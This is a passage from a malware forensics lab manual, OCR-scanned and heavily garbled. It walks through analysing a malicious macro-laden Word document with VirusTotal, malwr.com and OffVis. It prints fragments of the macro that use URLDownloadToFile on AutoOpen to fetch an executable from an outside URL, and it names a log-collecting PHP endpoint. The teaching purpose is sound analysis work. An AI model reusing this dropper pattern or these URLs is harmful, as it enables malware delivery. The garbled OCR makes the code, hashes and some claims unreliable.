the tags that make 1t malicious.

Click the ThisDocument.cls link to see the coding available in the file.
The coding includes Auto-open actions and hyperlinks that seem to
tetch some execurable files.

Macros and VBA code streams

+] ThisDocumeni.cls Macros/VBAThisDocument 1012 bytes

=xe-patter | urkp~§m ] auto-open environ J run-ai | run e

ption Explicit
Private Declare Function UTHLDownlcedToFiled Lib "urlmeon™ (ByWVal EVOGEES Rz Long, _
EvVal WSGESGY As String, ByVal IFBRFV A3 5tring, ByVal HCVOLV As Long, _
ByWal HOTLDG As Long) As Long
Sub AutoOpent)

Auto_Open

Fublic Sub SHNVJIYQ()
OGEXYR |"http: //germanya.com.ec/loga/test.exe™, Environ("THE") & ™\sijozjerc.exe

Function OGEXYR (ESTAHU A= String, PHHWIV Az String) As Boolean

i HERIIYET T T

FIGURE 5.7 E}:aﬂﬂniﬂg the resules feotm the Macens and VBA ende seeeams sectinn
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Module 11 - Malware Forensics

14. Click the Additional information tab to view additional information ot
the file. The section displays different hash values of file such as MD5,
SHATL, SHAZ256, etc. It also displays the tags of the contents that make
file suspicious.

15. The VirusTotal metadata shows the first submission date and different
file names which other have used to search the same file.

= Analysis &, File detad 22 Relationships @ Additional information # Comments ) Voles

© File identification

4aa84fb242abbba1a%dd2b3976cablce

5055803a59b52b1c33c6a75150b07 al30f0bcadd
5762576fc6a09b4ddd95908c6c34ab9b38e06a6b2878099433347 cabfbeccc18

12285 k0K4hOaxOHIKmArZXvgqPlae Ts6rézt339KmAZX kOLhFxOz8X Y s/ni3jax
519.5 KB ( 531963 bytes )

M3 Word Document

CDF V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Guga MIPYME
para ser emisor electrgnico, Author; OFEyDY, Template: Mormal.dotm, Last Saved By: clein, Revisio
MNumber: 13, Mame of Creating Application: Microsofi Office Word, Total Ediing Time: 01:20:00, Last
Printed: Tue Jun 06 14:04:00 2006, Create Time/Date: Sun Mar 29 14:15:00 2009, Last Saved
Time/Date: Tue May 13 12:45:00 2014, Mumber of Pages: 7, Number of Words: 269, Number of
Characters: 1435, Secunty: 0

Microsoft Word document (35,9%)

Microsoft Excel sheet (33.7%)

Microsoft Word document (old ver.) (21.3%)
Generic OLEZ2 / Mullistream Compound File (3.9%)

(un-ie  auto-open | exe-patern | rattern ] doc | macros | run-di | environ | viator | downioad

First submission 2014-05-14 152018 UTC [ 1 year, 12 months ago )
Last submission 2016-05-10 05:23:39 UTC ( 2 hours, 2 minutes ago )

File names DIAN_caso-5415.doc
4aaddfb242abbbaladddZbiaTecab2ce_ mahware

FIGURE 3.8: Viewing the results from the Addinonal information tab

16. For further analysis use the website httpsd/malwr.com. Type the URL
https://malwr.com in the address bar and press Enter. The malwr
webpage appears, click Submit.

it s fmakwr.cam

bl
1

)

malwr N

993695 64% 262409

Tatal Analyses Shared Madware Unigue Domains

Reocent Anolyses (sea mom) Recent Domoines
M.‘I‘;‘ 10, 2016, 510 a.m Andoodbcd6Ta 3L B 6 2c006Z03 2003 FRADARAARNDEAGS SEOES . COH

May 10, 2016, 508 am, Z576356Ld5T63cEaLEEEcB2Ebb4bEdaS EUTALE . SE0

FIGURE 3.%: malwr home page
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Module 11 - Malware Forensics

17. Click Select file to upload the suspicious file.

malwr %

By submitling the file, you automatically accept our Terms of Service

Select file

[ Analyze the sample
Share the sample

Analyze

FIGURE 3.1{} Screenshot showing the Select file button

18. Navigate to the file location: Z:AEvidence Files, sclect the
infected_doc.docx and click Open.

¥ Ewvidence Files » w Search Evidence Files

Organize - Mew falder

B Desktop o~ Mame Date modified Type

4 Downloads 8] Legal_Disclaimerhtm  10/20/2011 1240 .. HTM File

5 Documents o |:| infected_doc.docx #10/2016 9:49 AM  Office Open XML ...
|=] Ward_Doc.docx B/ 16/2016 9:47 PM Office Open XML ...
|_-| Word_Docl.docx 6152061132 PM Dffice Open XML ..
@ Confidential.pdf 6/17/2016 1:31 AM  PDF File

5] infected.pdf 5/3/2016 408 AM  PDF File

CHFvE Medule [Z] BsltinlePamne: mdf 1220200 174 PR POF File
v A

| Pictures at
DND Drive (D: &
CHFI-Tools

Findamsca Filas

File name: | infected_doc.doc Al Files

Open

FIGURE 5.11: f‘ﬂm‘igat’tng to the Evidence Files folder and sele ELing the suspiu:inus file

19. Answer the question and click Analyze.

malwr

By submitting the file, you automatically accept our Terms of Senvice.

K infected doc.docx Change  Remove

Analyze the sample
Share the sample

HGURE 3.1 Perfnrming malwrare an:alf:'sis of the suspiu:inus file

4+2= B

file

Note: In case, the website prompts a window with information on previous

analysis of a similar file, click the Reanalyze button.
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Module 11 - Malware Forensics

20. The website displays the Quick Overview section containing the size
of the file, difterent hash values, etc.

Stutic Analysis el

EBehiraidial Aaghssis Anal'gr:-ls

Mebaark Anakyss CATEGORY STARTED COMPLETED

Dropped Files FILE 2016-05-10 23 4330 2016-05-10 334535

Comment Boand [T

File Datails

FILE infeciad_dod docs
MARE

FILE 531968 bytes
EITE

Composite Document Fie Y2 Documend, Littks Endian, Os: Windows, Versson .1, Code page: 1252, Trile: Guia MIPYME para ssr emisor slech, Sulhor, OFEyDW,
dein, Revision Humber: 13, Mame of Crnaling Applcation: Micrnso® Ofce Word, Total Ediing Time: 0120000, Last Primled: Wed Jun 7 15:04;00 2008, Creabe Ti
Saved TimaTabte: YWed May 14 134500 2014, Humber of Pages: T, Humbss of Words: 269, Mumbss of Charasclem: 1465, Sscunty: 0

Mns 3B ST a0 | A2t d ST Ecab2oe

SHAN 505580 3a55nE0 13005376 1 500002 080ecadd

SHA2EE  SFE2STEcEalSbo4ddd959080534ab5bd8el6abb2 BT B034 33 kM cablbeccc 18

SHASE  ASESTIBIDENC S FE T 3 Podd M Fat T IR 3E90ESY MDAy Fash00s Mg al0td Se 100 d r 0 £ 4.7 1722 30 ebe 390 MO NG o ddddde 16 19adc4cbh 9095
CHEW C2i0ar1

SEDEEF 1 22BR 0K h OO HE K mArzYvag FlasTsErBA 35K m A= kOLh Fx Ozl st 5

TARA » amipedicdad_wan_api - A& non-Windoyes exscutabls contains vand2 AP funchions names

FIGURE 3.13: Viewing the results from the QQuick Overview section

21. Click the Static Analysis in the lett pane and click Strings to look at the
strings in the file.

Cuick Owverview Static Analysis m Lntnarus

Static Analysis

INCLUDEPICIURE "C:\\Usezrs'\clein\‘\Desktopiha.png™ W+ MERGEFURMATINET
Behavioral Analysis El contenido no puede ser mostrado.
Bara poder wer sl contenido de esce documents debe habilitar los Macros de Microsoft Word
Network Analysis Prushe lo asiguienbe:
Habilite los Macros y luego vuelva & abrir 1 docummento.
Dropped Files En este documento podr

ENCONTEAr URa gu
Comment Board (0) B propaorcionada par
wune . dian . gov. co
para poder habilitar los macros en su Microsoft Word.
Mreces]
n de Impusstos ¥ Rdusnss Marionsles ds Colosmbis.
=z habilitar los macros an Word
Excel 2000/2003, 2007 v 20107
Excel 2000 y 2003
1. Vaya al =an
Herramientas > Hecros > Seguridad
2. Seleccione niwvel
Y Reepbe
3, Cierca
Word o Excel ¥
bralo d= nuevo para gue se apliguen los cambios.
Exsal Z007
1, dbrir el documentc ¥ desde el
n coen el icono de Qffice

de la parte superior izguierda, acceder a

Opciones

da Word o Excael:

i. A continuaci

n zeleccionamos &1 men

de centro de confianza vy accedemns a la Configuraci

FIGURE &.14: "'r"iewiﬂg the resules fam the Searie .-‘sn:al}'sis SECHon
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Module 11 - Malware Forensics

22. Go through the strings to find suspicious elements and hyperlinks the
file tries to connect with. The links in list try to access images or
executables from unknown sources. Most of the strings are in Spanish,
inferring that the malicious content was either encrypted to divert the
attenton or the document 1s of Spanish origin,

HIPYME paca ae: sniscrc alackr
FE Iy
e S e daspackagpublicas  cosdsican fdafanic/filas /Diand 20 §pgtli4 5849341 I

shProgram Filesp'\Common Filsei\Micsocesft Shaoed\VER\VERLEWWHES  DLLEVisusl Hamic For kppliceticoe
G{0D020205~0000-0000-C0C0-00000000004 61 08 . 4P0PC:\Peegeare Filag\Miceepale Offica’\OEficald\HMIWORD . OLEIMictonsfe Fepd 12.0 Objact Likrasy
G{o00204:530—0000-0000-Cak0- 0000000030461 82 . OPORC: W HiRdswe ayatasill ardalald elhf0lE Aceesaeiss

BESTuI06S

[hi aDacimant

1ormel . ThisDo-oumant
O AFELf+*EEEZas0ES

hR14$oh
ERF_0
P 1

HGURE 3.15: E:'-:amin.ing the st:ings to find any 5|.15pi|:inu5 elements

23. Click the Behavioral Analysis button in the left pane to look at the
behavior of the file when executed. The secton will reveal all the
processes it started including nerwork, filesystem, registry, services and
synchronizaton.
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Module 11 - Malware Forensics

24. The site helps in better understanding by providing different color
bands for different types of processes. The site also provides a P1D to
the malware executable present.

SliC Analysis 01432053

Behavioral Analysis

Lommerit Board {0

= Mo by evend
= Y- by calegory

= WWINWORD.EXE 738

WINWORD EXE

WINWORD.EXE, FIOc 788, Parent Filk 2016

FIGURE al16: ‘u-’im'ing the results foom the Behavioral .-’!.nalj.*.ais SECtinn

25. Scroll down to see a rtable of all the processes along with APIL,
arguments, status, return and repeated status. This rable will help
investgators in analyzing all processes the file would initiate and assess
their impact on the system and its network.

ARGUMENTS RETURN REFEATED

A016-05-09 18:43:21,153 KoduleHande: GxTcE800000 el i)
FilaMams: BFRMFLI2 . OLL

2016-05-09 1243:21,153 LirGeiProcedureddress Ordinal o 00000000
FunctionMame
DesodePolnoer
Funchonfuckiress
Ox7e2l3408
KModuleHande: GxTeRI00a5

2016-05-09 18:43:21,153 NoduleHande: oxTocEI0000 Covd D000
FileMams: kERNEL32 . OLL

20160500 12 4321 153 LinGeiPrecedure Address Ordinal o et Bt i2a [
Funichianblame
[esodePolnoer
Funcionsddrass:
ax?z=913405
KoduleHande: txTcBA0OA0

2016-05-09 184321 151 KoduleHande: oxToBI0000 Cood D00 0000
FileMams: pFRHFL32 . 0LL

20160509 124321 163 LidnGetProcedunbddress Ordinal O e Tudi SafulZalu)
FunchonMama:
Epcod=Pointer
Functionaa{ pss:
dx7c91334r
MaduleHande oxTeBI0Na0

SOG-05-00 15:43:21,163 LdrGetProcedurefddress Ordinat ¢ CROC00o 00
FunctionMama
LesadePointer

FIGURE 3.17: Analvzing the process the file would initiate

26. Click on the other sections to analyze them. The tile has not produced
any network difterences. Click the Dropped Files section to view the

dropped files.
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Module 11 - Malware Forensics

27. The website reveals that the file will drop two files onto the system and
also provides their details, such as size, type and hash values.

Quick Overview FILE NAME ~&Normal.dotm

Static Analysis FILE SIZE 162 bytes

Eehavioral Analysis FILE TYPE data

Network Analysis MD5 69%9addbe392boeef5al8017 46dc3350a

SHA1 5021bTbd62597 e219ec05800913ac8064 7 3a%ea
Dropped Files

SHAZ255 A200bSb203728 1fic3debcD007 082003 chb6cdMche 1 1fed9de 151 4486044 251
Comment Board (0}

CRCI2 COaFE2B2

S5DEEP I OWAY et VY DB+ ZMEP diie Xn-wiY Y haltvaB 1

YARA Mone matchead

FILE NAME ~WRS{CETO7TBY9B-0FF2-400C-BT35-CAB16522ED1A).tmp

FILE SIZE 1024 bytes

FILE TYPE FoxPro FPT, blocks size 0, nexl free block index 218103308, 15t used item 375"
MD5 Sd4d94eere06bbb0afd584119797b23a

SHAA dbb111419c7041116efaBeT2471dd83e86e49677

4826c00860al8840334 3ca646000006a7 a2ce T dboocddT 432085850997 cosid]

FIGURE 3.18: Viewing the results from the Drmopped Hles section

28. Though it has been proved that the file contains malicious content using
online tools, investgators also need to check what type ot coding has
made it so and what its impact on the system.

29. To launch Offvis tool, navigate to the Z:\\CHFIvO Module 11 Malware

Forensics\Malicious Document Analysis Tools\OffVis location and
double click the OffVis.exe file.

Note: The tool IEL]LlirES Net Framework 3.5 to install and functon
properly.

30. OttVis GUI appears, Click File from the menu bar and select Open
Data File... option from the drop down list.

Edit View Tools Help

5, Open Data Fie... 'anﬁammmgcmmm CVE-2007-0515,C ~
Save Data File

Save Data File As...

Export

Bt

HGURE 5.19: E-mu'mg the 5|.15pi|:-inm file in O ffVis ool
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Module 11 - Malware Forensics

31. Select A Data File window appears; Navigate to the location of the
suspicious file, 1.e., Z:\Evidence Files sclect the file infected_doc.docx
and click Open.

1l Select A Data File
— » BEwvidence Files » v 0 Search Evidence Files
Organize = MNew folder

ﬂ W
# Ouick access Mame Date modified Type

Unknown 1/2016 1:12 AN File folder

B Desktop
; Downloads

+
¢
=| Documents o
"
¢

9] Unknown.exe 29/2009 1:32 AN Application

O Legal_Disclaimer.htm  10/20/201112:40..  HTM File

ﬁ infected_doc.docx 31072016 %49 AM  Office Open XML ...

_j Word_Doc.doox 6/16/2016 %47 PM Office Open XML ...
| Word_Docl.docx /15/2016 11:32 PM  Office Open XML ..

CHF-Tools | Confidential.pdf 5/17/2016 1:51 AM  PDF File

CHFS Module = infected.pdf 5/3/2016 4:08 AM PDF File

Evidence Files H MultiplePages.pdf 12/20/2010 1:24 PM  PDF File

=/ MultiplePages-Fixed.... 5/10/2016 7:31PM  PDF File

&=/ Pictures
. DVD Drive (D:

Evidence Files
v £

File name: |infected doc.docx All Files (*.)

Open

FIGURE 3.2k Navigaring to the Evidence Files folder and selectning the suspicious file

32. After uploading the file select the format to parse it in. Click the Parser
drop-down  list  located under the toolbar and  select
WordBinaryFormatDetectionLogic functon.

= UITVIS Inrected_dgoc.docx

File Edt View Tools Help

“arser:  |Cases.dll : WordBinaryFomat Detection LogiciCVE-2006-4534, CVE-2007-0515.C ~ Parse

File Cases.dll - ExcelBIFFEBinaryFomat DetectionLogic(CVE-2007-0671, CVE-2009-0238, CVE-2008-0081)
“|Cases dll - OLESSFomat

0000Cazes dll - PowerPointd7 2003Binaryfomat DetectionLogiciCVE-2007-0671, CVE-2006-3434 CVE-2005-0556, CVE-2006-002
ile[sli Cazes dll - WordBinaryFomat DetectionLogic(CVE-2006-4534, CVE-2007-0515, CVE-2007-0870, CVE-2006-4534, CVE-2006-6
00000020 os 40 00 90 00 QO OO0 00 OO0 0O QO OO0 01 OO0 00 00

00000030 g1 4o 00 99 00 QO OO0 OO0 OO0 10 QO OO0 FE FF FF FF

00000040 al o0 00 00 FE FF FFE FF OO OO0 OO0 OO OO OO OO0 OO

00000050 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF {90099 99 90909y
00000060 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF YV Y VYV VvV yovyeyy
QooQao70o FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF VY VYV VyVyvyyyy
Q0000080 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 9999 io7iiivevsv
20000020 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 99797900 i0eisv
000000A0 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF  §{97eiioiiiivesy
000000B0 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF  §{U9vviviviivyvey
alidadilalilidi) FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF VYV VY VY VY VY vy
G000 00D0 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF VT
00O0O0ED FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF  UUUUUVUUTUTVETTT
0000OOFD FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF  UUUUUVUULUTUETEY
00000100 2 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF {90000 000UR0000Y
00000110 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF {99909 9999 999099
00000120 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF U9V 0vovevevey
Qo000130 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF YTV V¥V VFvvyyyy
00000140 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF U999 iioiiviivevsv
90000150 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 9§99 99o0iiiveisy
00000160 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF {7979 iioiiivvvyy
00000170 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF  §{99viioiiivvvey
00000180 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF YV YV VY VY VY VY VY
Oo000180 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF VIV
000001A0 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF  UUUUUVUUTTTVETTT
00000180 2 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF  UUUUUVUULUTUETET

FIGURE 5.21: Eelec:ing the L'EL[uir:Ed funcrion foe pa:sing the file
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33.

30.

le  Edit
Casae.dl

il Conbents

LS )
Q00D0RI0
D0000R10
Q00D0RZ0
O0000RS0
Q0000R40
O000ORS T
QO0DoRED
QO0DORTE
QO0DORED
lediSalel R In]
balediSa el B An)
falelibalel i n]
kel iSa el Tafn)
Q00QCADR
O00O0RED
Q00Q0ATTD
LIE e
Qo000B1D
O0000BZD
Oo000B30
Q00D 0E4D
QO0D0BSD
Q00D 0EED
QoDDOETR
Q00DOES0
ARDDOERG
Q00D0BAD
Qe0D0ES0
D000oBCe
O0000EDG
Q000OBED
O0000BED
MLEL IS [ 1)
Lel 1S Le i R
Lel 1S e o] o)
lel 1S e i o]
kel iSa e et 1)
balel iba e i n]
Q006D
qQooaslTD
Qo0asCen
aoooocCan

Module 11 - Malware Forensics

Click on the Parse button.

Edit VNiew Tools Help

Cases.dll : WordBinaryFormatDetection LogiciCVE-2006-4534, CVE-2007-0515.C v

==

FIGURE 3.22: Initiating the Parser function

The tool will display hex data of the file along with addresses of the data
representng the string or element location in the file.

Scroll down to look at the recognizable strings in the tool. The tool
displays the code: “INCLUDEPICTURE
“C:\WUsers\\iclein\\Desktop\la.png” \* MERGEFORMATINET , which
seems like a command for adding a picture named a.png to the system
desktop.

Click on the string, and the tool will display 1ts locaton in the word file
on the right side in the parsing results column.

Further analysis  reveals that the file tries to access the
www.dian.gov.co website. The other parts of the string appear to be a
different language. Scroll down to find more strings that help to trace
malice in the file.

Wiew Tooks Help

 WordBinaryFormat Detactisnl ogic (CVE-2006-4534, CVE-20070815.C | | Parea

Farsing Femais
@0 00 00 00 90 00 00 00 G0 90 00 00 09 00 00 OO ~ [ Name | ass] e s | Ty
0B OD 13 20 E 43 4C 55 44 45 50 49 43 54 55 |... FNCLUDEPICIU ;
52 45 20 22 43 3R 5C 5C 55 73 €5 72 73 5C 5C 63 E "bivuTaeraiie g G ISy Tl
6C 65 69 GE SC 5C 44 65 73 6B T4 &F 70 5C SC 61 [lein\\Deskeop\\a (=} WordSinaryDocuments[ 1] 0 0 List<Wordsi..
2E 70 6E 67 22 20 5C 2R 20 4D 45 52 47 45 46 4F 41 WordEinaryDecLment 0 0 WordBinarD.
52 4D 41 54 49 4E 45 54 20 14 01 15 0D 45 6C 20 U':;m - o] — -
€3 GF 6E 74 65 G6E €9 64 6F 20 6E 6F 20 70 75 65 contentds no pue w
€4 65 20 73 65 72 20 €D 6F 73 T4 72 61 64 6F 2E  de ser Magerads. - WordDocumentSiream = e e OLESSDNRLE...
o0 OD 50 61 T2 61 20 70 6F 64 €5 72 20 76 €5 72  ..Para poder ver E— T
20 65 &C 20 63 &F GE 74 65 EE €9 &4 6F 20 &4 65 =l cont=nide de =
20 65 T3 74 65 20 64 6F 63 75 €D 65 6E T4 &F 20 =ste docufento - ChElehame 2 ... 2 Dataleem LA
64 B5 62 65 20 68 61 B2 69 BC 69 74 61 72 20 6C debe habilitar 1 — Tyoe 3 .. 1 Dataltem LS.
6F 71 20 4D 61 63 T2 GF T3 20 &4 65 20 4D €5 63  os Macros de Mic Th g T
T2 GF T3 EF &6 74 20 87 &F 72 &4 2C 20 6C 7% 6%  roscft Word, lme _""F : _re
&7 EF 20 B3 &% 72 T2 E1 Tz 20 79 20 &1 62 T2 69 go cerrar y abri picaft 6 ... 4 Dataliem L.
T2 20 &5 BC 20 B4 &¥ E3 TS5 ED &5 BE 74 &F ZE OD r =] doculentd.. - Rkt 5 e 4 Dafalten LA,
O O1 OB 50 T2 75 &5 B2 &5 Z0 6C BF 20 73 &3 &7 = s« Frusbs lo s3lg . cdchild 5
75 E% &5 EE T4 65 2k OD 48 E1 62 B9 &C 69 T4 &S uisnce: . Habilitce - o | Dolaltem IH...
20 6C &F 73 20 4D &1 E3 T2 &F 73 20 73 20 &C 75 los Macres y 1u [} clidThis - 1 o=m
&5 E7 &F 20 76 75 &5 EC TE E1 20 Bl 20 61 &2 72  ege vuelwva & abr UserFlags 0 .. 4 Datalten L.,
&89 72 X0 &5 &C 20 &4 EF &3 75 &0 &5 &E T4 &F ZE ir el docudento.
0D 45 GE 20 65 73 T4 &5 20 &4 EF 63 75 6D 5 GE  _En eate doculen - CreateTime 0 .. 8 Detaltem 1A...
74 6F 20 70 &F 64 Tz El 20 65 EE 63 &F EE T4 72 tTo podrd encontce ~— HindifyTime B ... 8 OCobsltem1H..
51 72 20 75 6E 61 20 67 T5 ED &L 20 70 72 &F 70 ar una guia prop ChartTact 0 . 4 DokaTiem L.
€F 72 63 6% 6F GE 61 €4 61 20 70 6F 72 R0 77 77  orcicnada § =
77 2E 64 69 61 GE 2E 7 6F 76 2E 63 6F R0 70 61 [v.dlan.gov.colps  apeLow we oo (4 | DakaThem_ L.,
72 61 20 70 6F 64 65 72 20 68 61 62 69 6C 69 74 ra poder habilit ~ SereHigh 0 ... 4 Dstaltem id...
€1 72 20 6C 6F 73 20 6D 61 €3 TZ &F 73 20 65 6E Ar los Tacroa en I e
20 73 75 20 4D 69 63 72 6F 73 6F 66 74 20 57 6F  su Microsoft We -
7% 64 2E OD 0D 44 €9 72 65 63 €3 69 F3 GE 20 64 rd...Dirececidn 4 () OneTableDooumentStreas: ... ... ... OLESSDirect...
€5 20 49 60 70 75 65 73 T4 6F T3 20 79 20 41 64 & IDpuestos y Ad =} Datastream v ee e OLESSDFECt. ..
75 61 6E 61 T3 20 4E €1 63 69 6F GE €1 6C 65 73 wuanag Macisnales R P
20 64 65 20 43 6F &C &F &D 62 €3 51 2E 0D 0D 47 de CoOLATBiA. ... . e Py
07 OD OB OB OO BF 43 F3 6D &F 20 &8 61 62 69 6C  .....:CaMs habil Parmng Hotess
€9 74 61 72 20 6C 6F 73 20 6D 6L 63 72 &F 73 20 itar los Macras . -
65 EE 20 57 &F 72 &4 20 F3 20 45 78 &3 65 #C 20 =n Word & Excel [ Type *|a--|f?fff==Et Length |-.u1m
32 30 30 30 2F 32 30 30 33 2C 20 32 30 30 3T 20 2000/2003, 2007 Error
T8 20 32 A0 31 30 AF OB 0D 57 &F 72 &4 20 FN 20y 20107..Word & — = =
45 78 €3 65 6C 20 32 30 30 30 20 78 20 32 30 30 Excel 2000 y 200
33 4D 31 2F 20 856 €1 79 €1 20 £1 &C 20 6D €% EE 3.1, Vaya al Men Error e 526066 1
Fh ko 48 ES 72 72 61 ED 63 ES SE 74 &1 73 20 3L i Merra@ientas ¥ Error
20 4D &1 B3 T2 BF T3 20 2E 20 53 BH &T 75 Ti B9 Meero=s » Segurl l—
4 E1 64 oD Ao 20 Ao 20 Ao 20 Ao 20 Ao 2o RO 28 dad. 5 <] . | 3

FIGURE 5.2% E!-:aminlng thie intermal details of the SUSpect file
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Module 11 - Malware Forensics

38. Close observation reveals that the file tries to connect with the taraway

browser through embedded URL links such as:
http://ns.adobe.com/xap/1.0/
http:/www.w3.0rg/1999/02/22-rdf-syntax-ns#
http://purl.org/dc/elements/1.1/"
http://ns.adobe.com/xap/1.0/
http:/purl.org/dc/elements/1.1
http:/www.w3.0rg/1999/02/22-rdf-syntax-ns#

39. The ftile also contains SQL manipulation scripts along with these links
that could help the attacker bypass various security features.

e Edit View Tools Help

Cemse Al - Word BnanFomet Det action LogiclTVE - 20068534, CVE-2I0T0515.C Fare
ave Fla Conlasts Parsirsg Ranls
026650 63 00 65 00 73 00 63 00 20 00 4C 00 51 00 53 E.&, 8,5, L.A.B, & ;um
026660 6F 00 72 00 64 00 61 00 00 00 FF EL OB 25 58 OulaidiBoa.Fa . a8 o
026670 74 TG 3K 2IF 2F GE 73 2E 61 &4 AF &2 65 2E K3 tp:fines.adobe. 5o
026680 60 ZF 7H &1 70 ZF 31 2E 30 ZF 00 3C 3F TA 70 Bixapfl.0f . <rxpa [+ WordSnaryDesouments[ ] 00 Ust<\Worddinas,
526650 63 &B £5 T4 20 £z A5 ET 69 &E 3D T EF BB BF ck=t begin="is:"
02 E6BRD 20 &9 64 3D 27 8T 35 4D 30 4D 70 4% 65 &8 £9 id='WiHdabptehil
pac2eERI TR T2 ES &3 A 4E 854 &3 TR &R B3 39 E4 2T AF zreSzHTczkcSd® 75
poo2e5C0 0D oA AC 78 AR 78 ED 7O BD &5 T4 &1 20 T& ED s cXNINApRata XML
paczEEDD BE T3 Ak 72 3D 2z E1 &4 EF &2 &5 2k EE T3 3R s x="nadaobe rmez @
ODI0ZEEED] ES T4 61 ZF 22 3E 3C 72 64 &6 3h 52 44 46 20 etaf " rerdf 1RDF x
DI0ZEEFY ED &C &E 73 3A 7z 64 &6 3D ZZ 58 T4 74 7o 3R ina:rdf="hcp:/
0DO02ECOD 2F 77 77 ¥7 2ZE 77 33 ZE 6F T2 &7 ZF 31 39 39 .W3_org/1399
0a02EC10 0 2F 30 32 IF 32 3 2D TZ 64 &6 2D T3 79 &E 74 2-rdf-3ynta
0O026EC20 7H X0 OGE T3 23 ZZ 3E 3C 72 64 BE 3A 44 &5 73 E=naf§~ >crdf:Deac
026030 72 69 70 T4 &9 &F 6E 20 72 &4 && 3A gl 62 &F riprion rdf:abog
I026C40 T4 3D 22 TS5 75 69 64 3R 66 61 66 35 62 64 64
I026C50 2D &2 61 33 64 2D 31 31 64 &1 2D &1 64 33 31
026CED 64 35 33 64 37 35 31 38 32 66 A1 6% 22 I0 78
026270 6C GE 73 3A 64 65 3D X 6B T4 74 TO A 2F Z2F
O026CE0 73 T 6T ZE &F TZ 67 2F 64 &3 2F 65 60 &5 6D
02 6C3D 6E T4 73 IF 31 2E 31 2F 23 2ZF 3E 3C 72 &4 66
o026 CHRD 44 65 T3 &% T2 &3 T0 T4 69 &F GE 20 72 &4 68
G52 6CRD £1 &2 BF 75 74 A0 22 75 75 &9 64 A € &1 EE
fo26C50 62 &4 64 235 2D &2 861 33 64 2D 31 31 &4 &1 2D
BA02ECHT B4 33 31 20 B4 33 33 &4 37 A8 31 28 A2 &6 A1
Dd02ECED 22 20 7R &0 BC SE 73 Ak 78 &0 Y0 2D 22 &8 T4 = xlins:x®Ep=~htt
DIC0ZECEY 70 3k 2F 2¥ EE T3 2ZE &1 B4 &F &2 &5 2ZE &3 EF
0O02ED0D  ZF T& &1 TO0 2ZF 31 ZE 30 2F 22 3E 3C 78 &0 70 Jxap/l.0F"]
0O02E010 &3 T2 &5 61 74 65 &4 &1 74 &5 3IE 32 30 31 33 Crestebate
0O02EDZ0 30 32 2D 30 36 54 31 30 3R 35 36 3R 35 31 ZE
0aC2E0307 31 36 3IC IF TE 60 70 3R 43 TE B5 &1 T4 65 44
0026040 T4 65 3E 3C ZF T 64 66 3R 44 65 T3 63 Ti 69
026050 74 &9 6F EE 3E 3C 72 &4 66 3A 44 65 73 63 72
026060 70 T4 69 &F GE 20 72 64 66 3B 61 62 6F TS5 74 ]
026070 22 T5 75 &9 64 3A 65 &1 66 35 A2 64 A4 35 ZD “waid: fals]
026080 61 ¥3 64 2D 31 31 64 61 2D 61 64 33 31 XD 64 a3d-114d
0026090 33 64 37 35 31 35 32 &6 A1 &2 22 20 TH 6D &C 34751082F1B" ;
026000 73 & 64 63 3D 2z 6B T4 74 TO 3R 2ZF 2F TO 75 =:ds
02 60ED 6C ZE &F T 67 XF 64 &3 2F &5 &0 &5 6D &5 £E
026050 734 ZF 31 ZE 31 ZF 22 AE AC 64 63 3k B3 TZ 65 =
026005 74 BF T2 AE AT TE A4 &6 AR %3 A5 TA 20 TR D tor»<rdf: S=q
go0260ED BE T3 AR Tz Bq &6 AD 22 BB T4 74 TO AR IF 2F s edf="http: s Fu
pa02EDFD 97 TT 2E TT 33 ZE EF T2 BT 2F A1 34 3% 33 2F rw.wil.org/fle9as40

HGURE 5.24: Fa‘fmmﬂng analjmis o the 5u€pi|:inus elemments of the su spect file
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40,

Fil=  Edit

O0TECCD
a00TECDD
OO0 TECED
QO0TECED
O0TEDDD
Qo0TEDLD
OO0TEDZD
Qo0TEDZD
QO0TEDSD
Q00TEDSD
QCDTEDRED
QCOTEDTR
QLRTEDE D
QODTEDED
QRNTEDAD
QCOTEDSD
QROTEDCE
Q0OTEDDC
QROTEDED
QCOTEDED
QEOTEEOC
QCOTEELD
JCOTEEZ0
QCOTEESD
O0OTEE4C
Q0OTEESD
QCOTEE60
QCOTEETE
QCOTEESC
OCOTEESD
OCOTEERG
OC0TEESD
QMOTEECE
QC0TEEDG
JM0TEEED
OC0TEEFD
AM0TEFOG
Q00TEFLC
AM0TEFZ0
Q00TEF30
AGOTEF40
QM0TEFS0
AMOTEFED

41. The file also consists of coding that tries to modify

Fl= Edit

Module 11 - Malware Forensics

The table of hex value shows that the coding also includes a program to
manipulate internal files of the corrupted system. The code tries to add
new VBA structures to the system DILLs and also share them with
connected systems 1n the torm of word files.
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Module 11 - Malware Forensics

42. The file consists codes to manipulate system program files such as:
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FGURE 5.27: Perdfomming analysis on the suspicous elements of the suspect file
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File  [oit

Module 11 - Malware Forensics

. The word document also includes encrypted hyperlinks that help to
access external executables, download them onto the system and run
them to perform malicious acuvites.

. The file tries to access the link “http:/ /germanya.com.ec/logs/test.exe”
to download test.exe and stjozjero.exe.

. http:/ /germanya.com.ec/logs/counter.php link is present that seems to
be a PHP website that gathers log informaton of the compromised
system.
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HGURE 3.29: Fﬂ'fnmiing analjmis on the su'apitinu'a elements of the SUSpect file

. The file also launches various encrypted commands to control the flow
